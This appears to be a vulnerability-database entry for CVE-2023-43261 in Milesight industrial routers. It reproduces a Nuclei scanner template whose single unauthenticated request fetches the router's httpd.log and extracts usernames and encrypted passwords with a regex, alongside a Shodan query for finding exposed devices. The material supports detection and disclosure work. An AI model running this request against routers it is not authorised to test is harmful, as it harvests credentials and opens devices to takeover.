Milesight Routers - Information Disclosure

2023-10-0208:21:12

ProjectDiscovery

github.com

milesight

industrial cellular routers

security vulnerability

unauthorized access

directory listing

log files

sensitive information

hardcoded aes

javascript

decryption

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.8 High

AI Score

Confidence

High

0.007 Low

EPSS

Percentile

80.2%

JSON

A critical security vulnerability has been identified in Milesight Industrial Cellular Routers, compromising the security of sensitive credentials and permitting unauthorized access. This vulnerability stems from a misconfiguration that results in directory listing being enabled on the router systems, rendering log files publicly accessible. These log files, while containing sensitive information such as admin and other user passwords (encrypted as a security measure), can be exploited by attackers via the router's web interface. The presence of a hardcoded AES secret key and initialization vector (IV) in the JavaScript code further exacerbates the situation, facilitating the decryption of these passwords. This chain of vulnerabilities allows malicious actors to gain unauthorized access to the router.

id: CVE-2023-43261

info:
  name: Milesight Routers - Information Disclosure
  author: gy741
  severity: high
  description: |
    A critical security vulnerability has been identified in Milesight Industrial Cellular Routers, compromising the security of sensitive credentials and permitting unauthorized access. This vulnerability stems from a misconfiguration that results in directory listing being enabled on the router systems, rendering log files publicly accessible. These log files, while containing sensitive information such as admin and other user passwords (encrypted as a security measure), can be exploited by attackers via the router's web interface. The presence of a hardcoded AES secret key and initialization vector (IV) in the JavaScript code further exacerbates the situation, facilitating the decryption of these passwords. This chain of vulnerabilities allows malicious actors to gain unauthorized access to the router.
  reference:
    - https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf
    - https://github.com/win3zz/CVE-2023-43261
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43261
    - http://milesight.com
    - http://ur5x.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-43261
    cwe-id: CWE-532
    epss-score: 0.00565
    epss-percentile: 0.77715
    cpe: cpe:2.3:h:milesight:ur51:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: milesight
    product: ur51
    shodan-query: http.html:rt_title
  tags: cve2023,cve,router,milesight,disclosure,unauth,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/lang/log/httpd.log"

    max-size: 5000

    extractors:
      - type: regex
        regex:
          - '"username":"([^"]+)","password":"(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)"'
# digest: 4a0a00473045022055b449c697f3cf7d0fd4bbb71d220dfd5d97c2a8f9f20272f94d63f3e24906b2022100c663ea58c5cf68bfa82ec127044032a57e3a96d96e988a7115490ec416211cd7:922c64590222798bb761d5b6d8e72950